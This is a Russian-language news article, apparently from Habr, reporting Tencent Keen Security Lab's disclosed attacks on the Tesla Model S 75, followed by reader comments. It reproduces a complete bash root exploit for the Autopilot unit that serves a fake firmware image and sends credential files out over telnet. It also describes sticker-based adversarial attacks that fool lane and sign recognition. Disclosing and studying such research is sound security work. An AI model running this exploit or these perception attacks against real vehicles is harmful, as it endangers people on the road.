Камеры main, narrow и fisheye («рыбий глаз») на автомобиле Tesla Model S 75. Они обеспечивают входные данные для нейросетей автопилота

Исследователи из компании Tencent Keen Security Lab опубликовали отчёт с описанием успешной атаки на прошивку автомобиля Tesla Model S 75, включая удалённое управление рулевым колесом и атаку с помощью «состязательных примеров» (adversarial example) на автопилот, принудив его выехать на полосу встречного движения. Tesla активно применяет нейросети для многих задач машинного зрения, чем и воспользовались злоумышленники, которые применили стандартные методы атаки на машинное зрение.

Для эксплойта исследователи использовали цепочку уязвимостей, которую впоследствии раскрыли Tesla. Автопроизводитель закрыл уязвимости патчем 2018.24.

Для атаки с удалённым управление рулевым колесом исследователям пришлось обойти несколько уровней защиты. Тем не менее, они смогли написать приложение, которое позволило подключить геймпад к мобильному устройству — и через него управлять автомобилем.


Дизайн системы для удалённого управления рулевым колесом Tesla Model S 75 с геймпада

Эта атака имеет некоторые ограничения: так, можно полностью захватить контроль над автомобилем, который запаркован или едет на высокой скорости на круиз-контроле. Но если автомобиль недавно перешёл с передачи R на D, то им можно дистанционно управлять только со скоростью не более 8 км/ч.

Ниже опубликован скрипт для получения рутового доступа к автопилоту. Скрипт работает на Model S 75 в версии прошивки 2018.6.1 и закрыт патчем 2018.24.

#!/bin/bash 

APE=192.168.90.103 
PORT=25974 

HTTP_IP=192.168.90.100 
HTTP_PORT=$((7000+$(($RANDOM%2000)))) 

#REALSSQ=ape_17.17.4.ssq #for ape2.0 375767104 
REALSSQ=ape25_2018.6.1.ssq #for ape2.5 285941824 

REALSSQ=$(readlink -f $REALSSQ) 

#rm fakessq 
rm -rf /tmp/fakessq_root 

mkdir -p /tmp/fakessq_root/deploy 
echo 1 > /tmp/fakessq_root/deploy/security-version 
cat << EOF > /tmp/fakessq_root/deploy/ape-updater 
#!/bin/sh 
iptables -F 
cat /var/etc/saccess/tesla*|telnet 192.168.90.145 6666 
cat /var/etc/saccess/tesla*|telnet 192.168.90.100 6666 
umount /etc/ssh/sshd_config 
umount /etc/shadow 
mount -o bind /mnt/.etc.ro/shadow /etc/shadow 
mount -o bind /mnt/.etc.ro/ssh/sshd_config /etc/ssh/sshd_config 
mount -o bind /etc/ssh/sshd_config /etc/ssh/sshd_config_locked 
mount -o bind /etc/shadow_unlocked /etc/shadow 
sv restart sshd 
head -c 4 /bin/ape-updater|grep "#!" && rm /bin/ape-updater && cp /deploy/ape-updater /bin/ape-updater /bin/ape-updater 
EOF 

chmod 755 /tmp/fakessq_root/deploy/ape-updater 

#Uncomment this if you want to exploit the APE from your computer with IP 192.168.90.100 
#mksquashfs /tmp/fakessq_root ./fakessq -b 131072 -all-root -no-progress > /dev/null 

SERVE1=$REALSSQ 
SERVE2=fakessq 

SERVE=$SERVE1 
while { RESPONSE="HTTP/1.1 200 OK\r\nConnection:keep-alive\r\nContent-Length: $(stat -c%s $SERVE)\r\n\r\n"; echo -en "$RESPONSE"; cat $SERVE; } | nc -l $HTTP_PORT ; do 
	SERVE=$SERVE2 
done & 

echo "reset" |nc $APE $PORT 
sleep 1 
echo "reset" |nc $APE $PORT 
sleep 1 

cat <(echo -ne "watch\ninstall http://"$HTTP_IP":"$HTTP_PORT"/$REALSSQ\n") - |nc $APE $PORT|while IFS= read -r line; do 
	echo $line 
	if [[ $line == *"got_bytes=342614080 expected_bytes=342614080 offset_bytes=0" ]] ; then 
		sleep 2 
		echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT 
	fi 
	if [[ $line == *"got_bytes=285941824 expected_bytes=285941824 offset_bytes=0" ]] ; then 
		sleep 2 
		echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT 
	fi 
	if [[ $line == *"status=complete got_bytes=4096 expected_bytes=4096 offset_bytes=0" ]] ; then 
		sleep 2 
		break 

	fi 
done 

sleep 3 
echo -ne "\n\n\nDone\nPlease Press Enter\n" 
ssh root@$APE

Автомобили Tesla используют различные нейронные сети для автопилота и других функций (таких как обнаружение дождя на ветровом стекле и включение дворников). Для примера, ниже нейросеть, которая используется для распознавания полосы по картинке с основной и дополнительной камер.



А вот архитектура нейросети для обработки картинки с панорамной камеры «рыбий глаз».



Исследователи использовали состязательные примеры для атаки на эти нейросети.

Самым впечатляющим стал взлом системы обнаружения полосы движения. Добавив к разметке полосы шум в качестве «состязательных примеров», исследователи смогли обмануть автопилот, чтобы он полностью сбился с полосы. Более того, хакеры с помощью небольших стикеров на земле провели атаку типа «фальшивая полоса», которая обманным путём заставила автопилот выехать на полосу встречного движения. Атака работала даже в хороших погодных условиях, при дневном свете без снега, пыли или других помех.

Хакеры показали, что если нарисовать на снимке с камеры три маленьких квадрата в определённых местах, то модуль машинного зрения с высокой степенью уверенности распознает его как линию разметки. Затем они воссоздали сценарий в физическом мире.



На схеме вверху показаны красные интерференционные стикеры на дорожном полотне, которые автопилот Tesla рассматривает как продолжение своей правой полосы, при этом игнорируя реальную левую полосу напротив перекрёстка. Когда он доберётся до середины перекрестка, то займёт настоящую левую полосу, словно это его правая полоса.

Функция распознавания полосы автопилота Tesla хорошо работает в разных погодных условиях, но всё равно уязвима для такой относительно простой атаки. Исследователи подчёркивают, что этот вид атаки прост в развёртывании, а материалы легко получить. Эксперименты доказали, что эта архитектура с использованием нейросетей имеет определённые риски для безопасности, поскольку распознавание встречной полосы движения — одна из необходимых функций для автономного вождения на дорогах общего пользования без разделительной зоны между полосами с разным направлением.

Состязательные примеры против машинного зрения


Состязательные (враждебные) примеры — очень популярный тип атаки на алгоритмы машинного обучения, особенно по обработке изображений. Нейросеть представляет собой «чёрный ящик», которая реагирует на специфические признаки, иногда непонятные для человеческой логики. Задача хакера — внести минимальные изменения в изображение, чтобы классификатор нейросети распознал это изображение как совершенно иной класс. Это делается путём максимизации активации, например, определённого фильтра свёрточной нейросети.

Особо ценится, если для человека изображение практически не меняется.


В работе от 2015 года исследователи из Google показали, что глубинные нейросети можно заставить отнести это изображение панды к гиббонам

Хакеры уже провели ряд успешных атак на беспилотные автомобили. В августе 2017 года специалисты из Калифорнийского университета в Беркли, Мичиганского университета и Университет штата Нью-Йорк в Стоуни-Брук разработали новый алгоритм атаки — надёжные физические пертурбации (Robust Physical Perturbations или RP2). Он очень эффективно сбивает зрение беспилотных автомобилей, роботов, мультикоптеров и любых других роботизированных систем, которые пытаются ориентироваться в окружающем пространстве.

Задачей исследователей было найти минимально возможную дельту, которая бы сбивала классификатор системы машинного обучения, который обучался на наборе данных с изображениями дорожных знаков LISA. Авторы самостоятельно сделали ряд фотографий дорожных знаков на улице в разных условиях (расстояние, углы, освещение) и дополнили набор данных для обучения.

После вычисления дельты была выявлена маска — такое место (или несколько мест) в изображении, которое наиболее надёжно вызывает пертурбации у системы машинного обучения (машинного зрения). Был проведён ряд экспериментов для проверки результатов. В основном, эксперименты проводились на стоп-сигнале (знак «STOP»), который исследователи несколькими безобидными манипуляциями превращали для машинного зрения в знак «SPEED LIMIT 45». Разработанную технику можно использовать на любых других знаках. Авторы затем испытали её на знаке поворота.


Набор экспериментальных изображений с художественными стикерами на разных расстояниях и под разными углами: (а) 5 футов, 0 градусов; (b) 5' 15°; (с) 10' 0°; (d) 10' 30°; (e) 40' 0°. Обман работает на любом расстоянии и под любым углом: вместо знака «Стоп» система машинного обучения видит знак «Ограничение скорости 45 миль»

Научный коллектив разработал два варианта атаки на системы машинного зрения, которые распознают дорожные знаки. Первая атака — маленькие незаметные изменения по всей площади знака. С помощью оптимизатора Adam им удалось минимизировать маску для создания отдельных таргетированных состязательных примеров, нацеленных на конкретные дорожные знаки. В этом случае можно обманывать системы машинного обучения минимальными изменениями картинки, а люди вообще ничего не заметят. Эффективность этого типа атаки проверяли на напечатанных постерах с небольшими изменениями (сначала исследователи убедились, что система машинного зрения успешно распознаёт постеры без изменений).

Второй тип атаки — камуфляжная. Здесь система имитирует или акты вандализма, или художественные граффити, чтобы система не мешала жизни окружающих людей. Таким образом, человек-водитель за рулём сразу увидит знак поворота налево или стоп-сигнал, а робот увидит совершенно другой знак. Эффективность этого типа атаки проверяли на настоящих дорожных знаках, которые заклеивали стикерами. Камуфляж-граффити состоял из стикеров в форме слов LOVE и HATE, а камуфляж типа абстрактного искусства — из четырёх стикеров прямоугольной формы чёрного и белого цветов.



Такие «глюки» нейросети кажутся забавными, но могут серьёзно осложнить распространение беспилотного транспорта. Судя по всему, перед состязательными примерами уязвимы все нейросети. Если хулиганство с такими граффити будет обманывать машинное зрение, то беспилотные автомобили могут вообще не допустить на дороги общего пользования.

Комментарии (20)


  1. Pyhesty
    01.04.2019 22:47

    почему после обнаружения знака дополнительно к НС его не прокоррелировать с опорным?...


    1. StSav012
      02.04.2019 07:52

      При произвольном положении знака относительно камеры это довольно сложно. А иначе бы без НС вообще обошлись.


      1. Pyhesty
        02.04.2019 09:29

        при мощностях затрачиваемых НС, куча корреляторов с разными углами поворотов знаков (заметьте, что поворот нужен только вокруг одной оси) просто капля в море, а на видеокарте (как они это делают сейчас) это можно сделать одной сверткой с массивом разбитого на кучу заранее подготовленных опорных кадров…
        короче проверка была бы не лишней и не стоит ничего по сравнению с мощностями НС.


        1. ksbes
          02.04.2019 15:07

          Вы «изобрели» вейвлет-анализ :) Там примерно так всё и делается (только свёртка идёт значительно хитрее, но смысл примерно тот же).
          Только вот сильно сомневаюсь что мощностей потребуется сильно меньше НС. Знаков-то много. Проверять надо на каждый (пусть и по одному за раз) и как-то разруливать противоречия. Это уже неплохой такой монстр получается.
          НС — они не просто так популярны.


          1. Pyhesty
            02.04.2019 17:25
            +1

            нет, есть математическое доказательноство, что идеальный приёмник — это коррелятор, вейвлет его не заменит, по этому, если вы сможете прокоррелировать с опорным сигналом с разными фазами вы получите оптимальный (лучше не существует) обнаружитель.
            количество знаков намного меньше, чем может свернуть видеокарта в секунду, а НС всегда будут иметь варианты ответов, которые невозможно предсказать и проверить.


  1. striver
    02.04.2019 08:46
    +2

    Вместо тысячи

    слов.


  1. dvmedvedev
    02.04.2019 09:59

    Могли бы, кстати, определять группу знака по его форме и цвету. Не зря у знаков «стоп» и «уступи дорогу» особые формы. Для встречки, правда, но тут это только плюс.


  1. Oleg_Dolbik
    02.04.2019 13:46

    Два года тому назад: Беспилотный автомобиль Cognitive Pilot. Местами разметку не видно совсем. Если к этому добавить еще трехмерный радар, которому не так страшны погодные условия, то понятно, почему как минимум два автопроизводителя в следующем году выпускают свои автомобили с этой системой…


    1. striver
      02.04.2019 14:08

      Вообще не понятно почему и кто.


  1. AleksandrMikhailov96
    02.04.2019 15:07

    В будущем можно карту, со всеми знаками заносить прямо в базу данных. Тогда компьютер сможет всегда проверить, тот ли знак он увидел на дороге.


    1. Ivan700
      02.04.2019 15:43

      Доверять свою шкуру пункткальности дорожной службы желающих наберётся немного :)


    1. ksbes
      02.04.2019 15:46

      а дорожные работы? А обновления? А хакеры? А пьяный дядя Вася на КамАЗе, стохастически меняющий наличие знаков за 5 мин до проезда умного автомобиля? (водитель по ПДД обязан ехать по фактическим знакам)
      Не не прокатит такая система _сейчас_

      Если мы хотим «умные автомобили» — нужно полностью менять сам подход к дорожному движению на всех уровнях: от физического до законодательного. Делать что-то похожее на железнодорожное или воздушное движение. С маршрутами и диспетчерами.


      1. Ivan700
        02.04.2019 20:30

        Вот не хочу умный автомомбиль.
        Мне его вполне заменяет вагон — сел, тебя везут, и тебе плевать, делает это Маша, Вася или компьютер, а ты занят своими мыслями или сном.
        Но пока тебя везет Вася, который хочет как и ты жить, ну, плюс-минус, то ты спокоен.
        А когда тебя везет ИИ, которому плевать и на себя и на тебя, и на Жорика из той деревни,
        то вот уж лучше взять в руки баранку и ехать самому с руками на ней, как того разумно требуют ПДД.
        Нет, честно, никогда не думал, что придется делать права и обзаводиться ведром, но, видимо, придется…… если за рулём трамвая окажется ИИ.


      1. lain8dono
        02.04.2019 20:46

        А дорожные работы? А обновления?

        Можно согласовать. Технически это гораздо легче, чем кажется. Если это что-то запланированное — то решаемо на бюрократическом уровне. Более того, оно не только автопилотам может быть полезно. Ну или: автопилот видит странное? Снижаем скорость и записываем. Кроме того


        А хакеры?

        Заняты распространением троянцев и прочими более прибыльными делами.


        А пьяный дядя Вася на КамАЗе, стохастически меняющий наличие знаков за 5 мин до проезда умного автомобиля?

        А вот это уже можно приравнять к стихийному бедствию. С оцеплением, введением чрезвычайного положения и гуманитарной помощью пострадавшим.


  1. dom3d
    02.04.2019 20:10

    Объясните мне, пожалуйста.
    Разве может хакер получить контроль над компьютером Теслы, которая едет под управлением автопилота?
    Я думал, что в это время компьютер Теслы не в сети.


    1. Grox
      02.04.2019 23:07

      Искажённый дорожный знак приводит к неверной работе автопилота. «Доступ» к компу в данном случае через камеру машины.


      1. dom3d
        02.04.2019 23:34

        Спасибо.
        Возможно, я не понял.
        На дороге хакеры поставили Искажённый дорожный знак?


        1. bano-notit
          03.04.2019 01:03

          На дороге начертили искажённую разметку, которая таковой не кажется для обычного человека.
          А искажённый знак — другие исследователи и не с теслой вроде.


        1. Grox
          03.04.2019 13:36

          Не суть, что именно, какие-то графические образы, которые влияют на поведение системы. В данном примере квадратики на дороге.


  1. homecreate
    02.04.2019 20:21
    +1

    Вспомнилась классика: https://youtu.be/H3SQQMmGInM